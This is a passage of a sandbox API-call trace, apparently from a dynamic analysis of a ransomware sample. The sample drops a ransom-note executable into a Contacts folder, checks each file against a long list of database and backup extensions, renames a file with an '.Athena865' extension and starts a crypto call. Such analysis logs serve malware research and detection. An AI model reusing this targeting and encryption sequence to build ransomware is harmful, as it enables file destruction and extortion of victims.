bFailIfExists=1) returned 1 [0053.518] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0053.518] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.518] ReleaseMutex (hMutex=0xec) returned 1 [0053.519] CloseHandle (hObject=0xec) returned 1 [0053.519] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Contacts" | out: lpString1="C:\\Documents and Settings\\Default\\Contacts") returned="C:\\Documents and Settings\\Default\\Contacts" [0053.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528710 | out: hHeap=0x4f0000) returned 1 [0053.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c740 | out: hHeap=0x4f0000) returned 1 [0053.519] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Contacts") returned 42 [0053.519] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\479B37B64DAFBE8A9E3405AB4C2713AF") returned 0xec [0053.519] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.519] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Contacts" | out: lpString1="C:\\Documents and Settings\\Default\\Contacts") returned="C:\\Documents and Settings\\Default\\Contacts" [0053.519] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.519] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.519] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\contacts\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.519] GetLastError () returned 0x0 [0053.520] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.520] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.520] CloseHandle (hObject=0xf4) returned 1 [0053.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.520] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.520] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Contacts\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.521] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.521] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.521] lstrcpyW (in: lpString1=0x241e89e, lpString2="Administrator.contact" | out: lpString1="Administrator.contact") returned="Administrator.contact" [0053.521] lstrlenW (lpString="Administrator.contact") returned 21 [0053.521] lstrlenW (lpString="Athena865") returned 9 [0053.521] lstrcmpiW (lpString1="r.contact", lpString2="Athena865") returned 1 [0053.521] lstrlenW (lpString=".dll") returned 4 [0053.521] lstrcmpiW (lpString1="Administrator.contact", lpString2=".dll") returned 1 [0053.521] lstrlenW (lpString=".lnk") returned 4 [0053.521] lstrcmpiW (lpString1="Administrator.contact", lpString2=".lnk") returned 1 [0053.521] lstrlenW (lpString=".ini") returned 4 [0053.521] lstrcmpiW (lpString1="Administrator.contact", lpString2=".ini") returned 1 [0053.521] lstrlenW (lpString=".sys") returned 4 [0053.521] lstrcmpiW (lpString1="Administrator.contact", lpString2=".sys") returned 1 [0053.521] lstrlenW (lpString="Administrator.contact") returned 21 [0053.521] lstrlenW (lpString="bak") returned 3 [0053.521] lstrcmpiW (lpString1="act", lpString2="bak") returned -1 [0053.521] lstrlenW (lpString="ba_") returned 3 [0053.521] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1 [0053.521] lstrlenW (lpString="dbb") returned 3 [0053.521] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1 [0053.521] lstrlenW (lpString="vmdk") returned 4 [0053.521] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1 [0053.521] lstrlenW (lpString="rar") returned 3 [0053.521] lstrcmpiW (lpString1="act", lpString2="rar") returned -1 [0053.521] lstrlenW (lpString="zip") returned 3 [0053.521] lstrcmpiW (lpString1="act", lpString2="zip") returned -1 [0053.521] lstrlenW (lpString="tgz") returned 3 [0053.521] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1 [0053.521] lstrlenW (lpString="vbox") returned 4 [0053.522] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1 [0053.522] lstrlenW (lpString="vdi") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1 [0053.522] lstrlenW (lpString="vhd") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1 [0053.522] lstrlenW (lpString="vhdx") returned 4 [0053.522] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1 [0053.522] lstrlenW (lpString="avhd") returned 4 [0053.522] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1 [0053.522] lstrlenW (lpString="db") returned 2 [0053.522] lstrcmpiW (lpString1="ct", lpString2="db") returned -1 [0053.522] lstrlenW (lpString="db2") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="db2") returned -1 [0053.522] lstrlenW (lpString="db3") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="db3") returned -1 [0053.522] lstrlenW (lpString="dbf") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1 [0053.522] lstrlenW (lpString="mdf") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1 [0053.522] lstrlenW (lpString="mdb") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1 [0053.522] lstrlenW (lpString="sql") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="sql") returned -1 [0053.522] lstrlenW (lpString="sqlite") returned 6 [0053.522] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1 [0053.522] lstrlenW (lpString="sqlite3") returned 7 [0053.522] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1 [0053.522] lstrlenW (lpString="sqlitedb") returned 8 [0053.522] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1 [0053.522] lstrlenW (lpString="xml") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="xml") returned -1 [0053.522] lstrlenW (lpString="$er") returned 3 [0053.522] lstrcmpiW (lpString1="act", lpString2="$er") returned 1 [0053.522] lstrlenW (lpString="4dd") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1 [0053.523] lstrlenW (lpString="4dl") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1 [0053.523] lstrlenW (lpString="^^^") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1 [0053.523] lstrlenW (lpString="abs") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="abs") returned 1 [0053.523] lstrlenW (lpString="abx") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="abx") returned 1 [0053.523] lstrlenW (lpString="accdb") returned 5 [0053.523] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1 [0053.523] lstrlenW (lpString="accdc") returned 5 [0053.523] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1 [0053.523] lstrlenW (lpString="accde") returned 5 [0053.523] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1 [0053.523] lstrlenW (lpString="accdr") returned 5 [0053.523] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1 [0053.523] lstrlenW (lpString="accdt") returned 5 [0053.523] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1 [0053.523] lstrlenW (lpString="accdw") returned 5 [0053.523] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1 [0053.523] lstrlenW (lpString="accft") returned 5 [0053.523] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1 [0053.523] lstrlenW (lpString="adb") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0053.523] lstrlenW (lpString="adb") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0053.523] lstrlenW (lpString="ade") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="ade") returned -1 [0053.523] lstrlenW (lpString="adf") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="adf") returned -1 [0053.523] lstrlenW (lpString="adn") returned 3 [0053.523] lstrcmpiW (lpString1="act", lpString2="adn") returned -1 [0053.523] lstrlenW (lpString="adp") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="adp") returned -1 [0053.524] lstrlenW (lpString="alf") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="alf") returned -1 [0053.524] lstrlenW (lpString="ask") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="ask") returned -1 [0053.524] lstrlenW (lpString="btr") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="btr") returned -1 [0053.524] lstrlenW (lpString="cat") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="cat") returned -1 [0053.524] lstrlenW (lpString="cdb") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1 [0053.524] lstrlenW (lpString="ckp") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1 [0053.524] lstrlenW (lpString="cma") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="cma") returned -1 [0053.524] lstrlenW (lpString="cpd") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1 [0053.524] lstrlenW (lpString="dacpac") returned 6 [0053.524] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1 [0053.524] lstrlenW (lpString="dad") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="dad") returned -1 [0053.524] lstrlenW (lpString="dadiagrams") returned 10 [0053.524] lstrcmpiW (lpString1="or.contact", lpString2="dadiagrams") returned 1 [0053.524] lstrlenW (lpString="daschema") returned 8 [0053.524] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1 [0053.524] lstrlenW (lpString="db-journal") returned 10 [0053.524] lstrcmpiW (lpString1="or.contact", lpString2="db-journal") returned 1 [0053.524] lstrlenW (lpString="db-shm") returned 6 [0053.524] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1 [0053.524] lstrlenW (lpString="db-wal") returned 6 [0053.524] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1 [0053.524] lstrlenW (lpString="dbc") returned 3 [0053.524] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1 [0053.524] lstrlenW (lpString="dbs") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1 [0053.525] lstrlenW (lpString="dbt") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1 [0053.525] lstrlenW (lpString="dbv") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1 [0053.525] lstrlenW (lpString="dbx") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1 [0053.525] lstrlenW (lpString="dcb") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1 [0053.525] lstrlenW (lpString="dct") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dct") returned -1 [0053.525] lstrlenW (lpString="dcx") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dcx") returned -1 [0053.525] lstrlenW (lpString="ddl") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="ddl") returned -1 [0053.525] lstrlenW (lpString="dlis") returned 4 [0053.525] lstrcmpiW (lpString1="tact", lpString2="dlis") returned 1 [0053.525] lstrlenW (lpString="dp1") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dp1") returned -1 [0053.525] lstrlenW (lpString="dqy") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dqy") returned -1 [0053.525] lstrlenW (lpString="dsk") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dsk") returned -1 [0053.525] lstrlenW (lpString="dsn") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dsn") returned -1 [0053.525] lstrlenW (lpString="dtsx") returned 4 [0053.525] lstrcmpiW (lpString1="tact", lpString2="dtsx") returned 1 [0053.525] lstrlenW (lpString="dxl") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="dxl") returned -1 [0053.525] lstrlenW (lpString="eco") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="eco") returned -1 [0053.525] lstrlenW (lpString="ecx") returned 3 [0053.525] lstrcmpiW (lpString1="act", lpString2="ecx") returned -1 [0053.527] lstrlenW (lpString="edb") returned 3 [0053.527] lstrcmpiW (lpString1="act", lpString2="edb") returned -1 [0053.528] lstrlenW (lpString="epim") returned 4 [0053.528] lstrcmpiW (lpString1="tact", lpString2="epim") returned 1 [0053.528] lstrlenW (lpString="fcd") returned 3 [0053.528] lstrcmpiW (lpString1="act", lpString2="fcd") returned -1 [0053.529] lstrlenW (lpString="fdb") returned 3 [0053.529] lstrcmpiW (lpString1="act", lpString2="fdb") returned -1 [0053.529] lstrlenW (lpString="fic") returned 3 [0053.529] lstrcmpiW (lpString1="act", lpString2="fic") returned -1 [0053.529] lstrlenW (lpString="flexolibrary") returned 12 [0053.529] lstrcmpiW (lpString1="ator.contact", lpString2="flexolibrary") returned -1 [0053.529] lstrlenW (lpString="fm5") returned 3 [0053.529] lstrcmpiW (lpString1="act", lpString2="fm5") returned -1 [0053.529] lstrlenW (lpString="fmp") returned 3 [0053.529] lstrcmpiW (lpString1="act", lpString2="fmp") returned -1 [0053.529] lstrlenW (lpString="fmp12") returned 5 [0053.529] lstrcmpiW (lpString1="ntact", lpString2="fmp12") returned 1 [0053.529] lstrlenW (lpString="fmpsl") returned 5 [0053.529] lstrcmpiW (lpString1="ntact", lpString2="fmpsl") returned 1 [0053.529] lstrlenW (lpString="fol") returned 3 [0053.529] lstrcmpiW (lpString1="act", lpString2="fol") returned -1 [0053.529] lstrlenW (lpString="fp3") returned 3 [0053.529] lstrcmpiW (lpString1="act", lpString2="fp3") returned -1 [0053.529] lstrlenW (lpString="fp4") returned 3 [0053.529] lstrcmpiW (lpString1="act", lpString2="fp4") returned -1 [0053.529] lstrlenW (lpString="fp5") returned 3 [0053.529] lstrcmpiW (lpString1="act", lpString2="fp5") returned -1 [0053.529] lstrlenW (lpString="fp7") returned 3 [0053.529] lstrcmpiW (lpString1="act", lpString2="fp7") returned -1 [0053.529] lstrlenW (lpString="fpt") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="fpt") returned -1 [0053.530] lstrlenW (lpString="frm") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="frm") returned -1 [0053.530] lstrlenW (lpString="gdb") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1 [0053.530] lstrlenW (lpString="gdb") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1 [0053.530] lstrlenW (lpString="grdb") returned 4 [0053.530] lstrcmpiW (lpString1="tact", lpString2="grdb") returned 1 [0053.530] lstrlenW (lpString="gwi") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="gwi") returned -1 [0053.530] lstrlenW (lpString="hdb") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="hdb") returned -1 [0053.530] lstrlenW (lpString="his") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="his") returned -1 [0053.530] lstrlenW (lpString="ib") returned 2 [0053.530] lstrcmpiW (lpString1="ct", lpString2="ib") returned -1 [0053.530] lstrlenW (lpString="idb") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="idb") returned -1 [0053.530] lstrlenW (lpString="ihx") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="ihx") returned -1 [0053.530] lstrlenW (lpString="itdb") returned 4 [0053.530] lstrcmpiW (lpString1="tact", lpString2="itdb") returned 1 [0053.530] lstrlenW (lpString="itw") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="itw") returned -1 [0053.530] lstrlenW (lpString="jet") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="jet") returned -1 [0053.530] lstrlenW (lpString="jtx") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="jtx") returned -1 [0053.530] lstrlenW (lpString="kdb") returned 3 [0053.530] lstrcmpiW (lpString1="act", lpString2="kdb") returned -1 [0053.530] lstrlenW (lpString="kexi") returned 4 [0053.530] lstrcmpiW (lpString1="tact", lpString2="kexi") returned 1 [0053.531] lstrlenW (lpString="kexic") returned 5 [0053.531] lstrcmpiW (lpString1="ntact", lpString2="kexic") returned 1 [0053.531] lstrlenW (lpString="kexis") returned 5 [0053.531] lstrcmpiW (lpString1="ntact", lpString2="kexis") returned 1 [0053.531] lstrlenW (lpString="lgc") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="lgc") returned -1 [0053.531] lstrlenW (lpString="lwx") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="lwx") returned -1 [0053.531] lstrlenW (lpString="maf") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="maf") returned -1 [0053.531] lstrlenW (lpString="maq") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="maq") returned -1 [0053.531] lstrlenW (lpString="mar") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="mar") returned -1 [0053.531] lstrlenW (lpString="marshal") returned 7 [0053.531] lstrcmpiW (lpString1="contact", lpString2="marshal") returned -1 [0053.531] lstrlenW (lpString="mas") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="mas") returned -1 [0053.531] lstrlenW (lpString="mav") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="mav") returned -1 [0053.531] lstrlenW (lpString="maw") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="maw") returned -1 [0053.531] lstrlenW (lpString="mdbhtml") returned 7 [0053.531] lstrcmpiW (lpString1="contact", lpString2="mdbhtml") returned -1 [0053.531] lstrlenW (lpString="mdn") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="mdn") returned -1 [0053.531] lstrlenW (lpString="mdt") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="mdt") returned -1 [0053.531] lstrlenW (lpString="mfd") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="mfd") returned -1 [0053.531] lstrlenW (lpString="mpd") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="mpd") returned -1 [0053.531] lstrlenW (lpString="mrg") returned 3 [0053.531] lstrcmpiW (lpString1="act", lpString2="mrg") returned -1 [0053.532] lstrlenW (lpString="mud") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="mud") returned -1 [0053.532] lstrlenW (lpString="mwb") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="mwb") returned -1 [0053.532] lstrlenW (lpString="myd") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="myd") returned -1 [0053.532] lstrlenW (lpString="ndf") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="ndf") returned -1 [0053.532] lstrlenW (lpString="nnt") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="nnt") returned -1 [0053.532] lstrlenW (lpString="nrmlib") returned 6 [0053.532] lstrcmpiW (lpString1="ontact", lpString2="nrmlib") returned 1 [0053.532] lstrlenW (lpString="ns2") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="ns2") returned -1 [0053.532] lstrlenW (lpString="ns3") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="ns3") returned -1 [0053.532] lstrlenW (lpString="ns4") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="ns4") returned -1 [0053.532] lstrlenW (lpString="nsf") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="nsf") returned -1 [0053.532] lstrlenW (lpString="nv") returned 2 [0053.532] lstrcmpiW (lpString1="ct", lpString2="nv") returned -1 [0053.532] lstrlenW (lpString="nv2") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="nv2") returned -1 [0053.532] lstrlenW (lpString="nwdb") returned 4 [0053.532] lstrcmpiW (lpString1="tact", lpString2="nwdb") returned 1 [0053.532] lstrlenW (lpString="nyf") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="nyf") returned -1 [0053.532] lstrlenW (lpString="odb") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="odb") returned -1 [0053.532] lstrlenW (lpString="odb") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="odb") returned -1 [0053.532] lstrlenW (lpString="oqy") returned 3 [0053.532] lstrcmpiW (lpString1="act", lpString2="oqy") returned -1 [0053.532] lstrlenW (lpString="ora") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="ora") returned -1 [0053.533] lstrlenW (lpString="orx") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="orx") returned -1 [0053.533] lstrlenW (lpString="owc") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="owc") returned -1 [0053.533] lstrlenW (lpString="p96") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="p96") returned -1 [0053.533] lstrlenW (lpString="p97") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="p97") returned -1 [0053.533] lstrlenW (lpString="pan") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="pan") returned -1 [0053.533] lstrlenW (lpString="pdb") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="pdb") returned -1 [0053.533] lstrlenW (lpString="pdm") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="pdm") returned -1 [0053.533] lstrlenW (lpString="pnz") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="pnz") returned -1 [0053.533] lstrlenW (lpString="qry") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="qry") returned -1 [0053.533] lstrlenW (lpString="qvd") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="qvd") returned -1 [0053.533] lstrlenW (lpString="rbf") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="rbf") returned -1 [0053.533] lstrlenW (lpString="rctd") returned 4 [0053.533] lstrcmpiW (lpString1="tact", lpString2="rctd") returned 1 [0053.533] lstrlenW (lpString="rod") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="rod") returned -1 [0053.533] lstrlenW (lpString="rodx") returned 4 [0053.533] lstrcmpiW (lpString1="tact", lpString2="rodx") returned 1 [0053.533] lstrlenW (lpString="rpd") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="rpd") returned -1 [0053.533] lstrlenW (lpString="rsd") returned 3 [0053.533] lstrcmpiW (lpString1="act", lpString2="rsd") returned -1 [0053.533] lstrlenW (lpString="sas7bdat") returned 8 [0053.534] lstrcmpiW (lpString1=".contact", lpString2="sas7bdat") returned -1 [0053.534] lstrlenW (lpString="sbf") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="sbf") returned -1 [0053.534] lstrlenW (lpString="scx") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="scx") returned -1 [0053.534] lstrlenW (lpString="sdb") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="sdb") returned -1 [0053.534] lstrlenW (lpString="sdc") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="sdc") returned -1 [0053.534] lstrlenW (lpString="sdf") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="sdf") returned -1 [0053.534] lstrlenW (lpString="sis") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="sis") returned -1 [0053.534] lstrlenW (lpString="spq") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="spq") returned -1 [0053.534] lstrlenW (lpString="te") returned 2 [0053.534] lstrcmpiW (lpString1="ct", lpString2="te") returned -1 [0053.534] lstrlenW (lpString="teacher") returned 7 [0053.534] lstrcmpiW (lpString1="contact", lpString2="teacher") returned -1 [0053.534] lstrlenW (lpString="tmd") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="tmd") returned -1 [0053.534] lstrlenW (lpString="tps") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="tps") returned -1 [0053.534] lstrlenW (lpString="trc") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="trc") returned -1 [0053.534] lstrlenW (lpString="trc") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="trc") returned -1 [0053.534] lstrlenW (lpString="trm") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="trm") returned -1 [0053.534] lstrlenW (lpString="udb") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="udb") returned -1 [0053.534] lstrlenW (lpString="udl") returned 3 [0053.534] lstrcmpiW (lpString1="act", lpString2="udl") returned -1 [0053.535] lstrlenW (lpString="usr") returned 3 [0053.535] lstrcmpiW (lpString1="act", lpString2="usr") returned -1 [0053.535] lstrlenW (lpString="v12") returned 3 [0053.535] lstrcmpiW (lpString1="act", lpString2="v12") returned -1 [0053.535] lstrlenW (lpString="vis") returned 3 [0053.535] lstrcmpiW (lpString1="act", lpString2="vis") returned -1 [0053.535] lstrlenW (lpString="vpd") returned 3 [0053.535] lstrcmpiW (lpString1="act", lpString2="vpd") returned -1 [0053.535] lstrlenW (lpString="vvv") returned 3 [0053.535] lstrcmpiW (lpString1="act", lpString2="vvv") returned -1 [0053.535] lstrlenW (lpString="wdb") returned 3 [0053.535] lstrcmpiW (lpString1="act", lpString2="wdb") returned -1 [0053.535] lstrlenW (lpString="wmdb") returned 4 [0053.535] lstrcmpiW (lpString1="tact", lpString2="wmdb") returned -1 [0053.535] lstrlenW (lpString="wrk") returned 3 [0053.535] lstrcmpiW (lpString1="act", lpString2="wrk") returned -1 [0053.535] lstrlenW (lpString="xdb") returned 3 [0053.535] lstrcmpiW (lpString1="act", lpString2="xdb") returned -1 [0053.535] lstrlenW (lpString="xld") returned 3 [0053.535] lstrcmpiW (lpString1="act", lpString2="xld") returned -1 [0053.535] lstrlenW (lpString="xmlff") returned 5 [0053.535] lstrcmpiW (lpString1="ntact", lpString2="xmlff") returned -1 [0053.535] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Contacts\\Administrator.contact.Athena865") returned 74 [0053.535] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\documents and settings\\default\\contacts\\administrator.contact"), lpNewFileName="C:\\Documents and Settings\\Default\\Contacts\\Administrator.contact.Athena865" (normalized: "c:\\documents and settings\\default\\contacts\\administrator.contact.athena865"), dwFlags=0x1) returned 1 [0053.536] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Contacts\\Administrator.contact.Athena865" (normalized: "c:\\documents and settings\\default\\contacts\\administrator.contact.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.536] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68382) returned 1 [0053.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d9a8 [0053.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0053.536] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, 